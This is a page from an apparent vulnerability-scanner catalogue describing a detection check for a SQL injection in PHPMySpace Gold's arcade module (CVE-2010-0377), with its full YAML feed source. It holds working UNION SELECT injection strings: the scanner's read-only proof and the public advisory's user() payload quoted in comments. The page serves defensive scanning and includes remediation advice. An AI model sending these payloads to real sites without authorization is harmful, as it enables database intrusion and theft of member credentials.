PHPMySpace — 1 vulnerability check

noctis ships 1 vulnerability check for PHPMySpace, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHPMySpace Gold arcade gid SQL Injection

CVECVE-2010-0377
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpmyspace/CVE-2010-0377.yaml

PHPMySpace Gold (a PHP/MySQL social network script, Gold Edition 8.0 and 8.10) pastes the gid parameter of its arcade module (modules/arcade/index.php?act=play_game), unquoted and unchecked, into the SQL query that loads a game, without authentication, and prints the returned row, allowing SQL injection (an attacker can read the whole database, including the member accounts and their passwords).

This check requests modules/arcade/index.php under the web root and the usual install paths with a gid value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written. When no install answers the injection, the check falls back to the version that register.php reports (8.0 or 8.10), with a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/modules/arcade/index.php?act=play_game&gid={{sc.q_union}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^/ → finding QoD 97: PHPMySpace Gold arcade gid SQL Injection (CVE-2010-0377)
  5. HTTP(S) request GET {{dir}}/register.php
  6. Parses / computes the next value with a Rhai script
  7. Checks ver_hit for ^/, for each of 1 values → finding QoD 70: PHPMySpace Gold arcade gid SQL Injection (CVE-2010-0377) — version check

References:

Feed source — tests/vulnerabilities/phpmyspace/CVE-2010-0377.yaml
# PHPMySpace Gold — modules/arcade/index.php gid SQL injection — CVE-2010-0377
#
# PHPMySpace Gold (commercial PHP/MySQL social network script sold by popscript.com,
# Gold Edition 8.0 and 8.10; no copy of the source is reachable and no fixed release was
# ever published) opens a game of its arcade module with
#     modules/arcade/index.php?act=play_game&gid=<n>
# without authentication. gid is pasted unquoted into a 5-column SELECT whose 4th column
# is printed: the public advisory (EDB-33551, Ctacok, January 2010, BID 37881) reads
#     modules/arcade/index.php?act=play_game&gid=-1+UNION+SELECT+1,2,3,user(),5%23
#
# Detection, per candidate install dir (web root and the usual install paths):
#   (QoD 97) modules/arcade/index.php?act=play_game&gid=-1 UNION ALL SELECT C,C,C,C,C-- -
#   with C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b. The vulnerable
#   page prints NOCTIS<a*b>END, a value computed by the database that never appears in the
#   request. The marker goes in every column, so whichever column the page prints shows
#   it. Read-only: no table is selected from, nothing is written (a play counter UPDATE or
#   history INSERT built from the same gid would be a syntax error with this value).
#   (QoD 70, only when no dir gave the proof) register.php carries both the
#   "Powered by phpMySpace Gold" footer and the generator meta tag of PHPMySpace Gold, and
#   the version it names is 8.0 or 8.10 (the arcade module may be disabled or renamed).
#
# Better than the source NASL:
#   - the reference check only compares the version the detection found in register.php
#     with "8.0" (remote_banner): it never sends the injection, misses 8.10 (also listed by
#     the CVE record) and reports a hardened install whose arcade module is removed. This
#     feed runs the injection itself and reports the version only as a QoD 70 fallback.
#
# Sources: OpenVAS/Greenbone NVT 2010/PHPMySpace_37881.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100465) and its detection PHPMySpace_detect.nasl,
# GPL-2.0-only; advisory EDB-33551, BID 37881.
uid: 516af683-c93e-4b42-a431-1f6dc053d09e
name: "PHPMySpace Gold arcade gid SQL Injection (CVE-2010-0377)"
description: |
  PHPMySpace Gold (a PHP/MySQL social network script, Gold Edition 8.0 and 8.10) pastes
  the gid parameter of its arcade module (modules/arcade/index.php?act=play_game), unquoted
  and unchecked, into the SQL query that loads a game, without authentication, and prints
  the returned row, allowing SQL injection (an attacker can read the whole database,
  including the member accounts and their passwords).

  This check requests modules/arcade/index.php under the web root and the usual install
  paths with a gid value that appends a UNION SELECT of an expression multiplying two
  random numbers. The vulnerability is confirmed when the page shows the product computed
  by the database, which never appears in the request. No stored data is read and nothing
  is written. When no install answers the injection, the check falls back to the version
  that register.php reports (8.0 or 8.10), with a lower confidence.
cves: [CVE-2010-0377]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpmyspace, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0377"
  - "https://www.exploit-db.com/exploits/33551"
  - "https://www.securityfocus.com/bid/37881"

steps:
  # ── Random operands, expected value and the encoded gid payload ───────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_union: "-1%20UNION%20ALL%20SELECT%20" + c + "," + c + "," + c + "," + c + "," + c + "--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-ver
    action: set_var
    var_name: ver_hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/phpmyspace", "/phpMySpace", "/myspace", "/community", "/social"]

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/modules/arcade/index.php?act=play_game&gid={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "PHPMySpace Gold arcade gid SQL Injection (CVE-2010-0377)"
        description: "An unauthenticated modules/arcade/index.php?act=play_game request whose gid value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the member accounts and their passwords."
        remediation: "No fixed PHPMySpace Gold release exists: remove the arcade module (modules/arcade/) or the whole application, or at least restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: modules/arcade/index.php?act=play_game&gid=-1 UNION ALL SELECT CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),… printed the database-computed value {{sc.want}}"
      stop: true

  # Version named by register.php (fallback evidence, first dir only).
  - id: init-reg-resp
    action: set_var
    var_name: reg_resp
    var_value: {status: 0, body: ""}
    condition: 'hit_dir == "" && ver_hit == ""'

  - id: register-page
    action: http_request
    method: GET
    path: "{{dir}}/register.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && ver_hit == ""'
    store_as: reg_resp

  - id: check-version
    action: script
    condition: 'hit_dir == "" && ver_hit == ""'
    code: |
      let body = if type_of(reg_resp.body) == "string" { reg_resp.body } else { "" };
      let found = "";
      if reg_resp.status == 200 && egrep("(?i)Powered by phpMySpace Gold", body) != ""
         && egrep("<meta name=\"generator\" content=\"phpMySpace Gold", body) != "" {
        let m = eregmatch("phpMySpace Gold ([0-9.]+)", body, true);
        if type_of(m) == "array" && m.len() > 1 {
          let v = m[1];
          while v.ends_with(".") { v = sub_string(v, 0, v.len() - 1); }
          if v == "8.0" || v == "8.10" {
            found = (if dir == "" { "/" } else { dir }) + " (version " + v + ")";
          }
        }
      }
      found
    store_as: ver_hit

  # ── Fallback: version only (after every folder) ───────────────────────────
  - id: report-version
    action: match
    source: ver_hit
    pattern: "^/"
    condition: 'hit_dir == "" && ver_hit != ""'
    loop:
      var: once
      over: [1]
    on_match:
      finding:
        title: "PHPMySpace Gold arcade gid SQL Injection (CVE-2010-0377) — version check"
        description: "register.php reports PHPMySpace Gold 8.0 or 8.10, whose arcade module (modules/arcade/index.php?act=play_game) passes the gid parameter unquoted to its SQL query without authentication, and no fixed release exists. The UNION SELECT proof did not return the computed value (the arcade module may be disabled or installed elsewhere), so the injection itself was not confirmed."
        remediation: "No fixed PHPMySpace Gold release exists: remove the arcade module (modules/arcade/) or the whole application, or at least restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.40
        qod: 70
        evidence: "install dir {{ver_hit}}: register.php shows the Powered by phpMySpace Gold footer and generator meta tag"

View these feeds on GitHub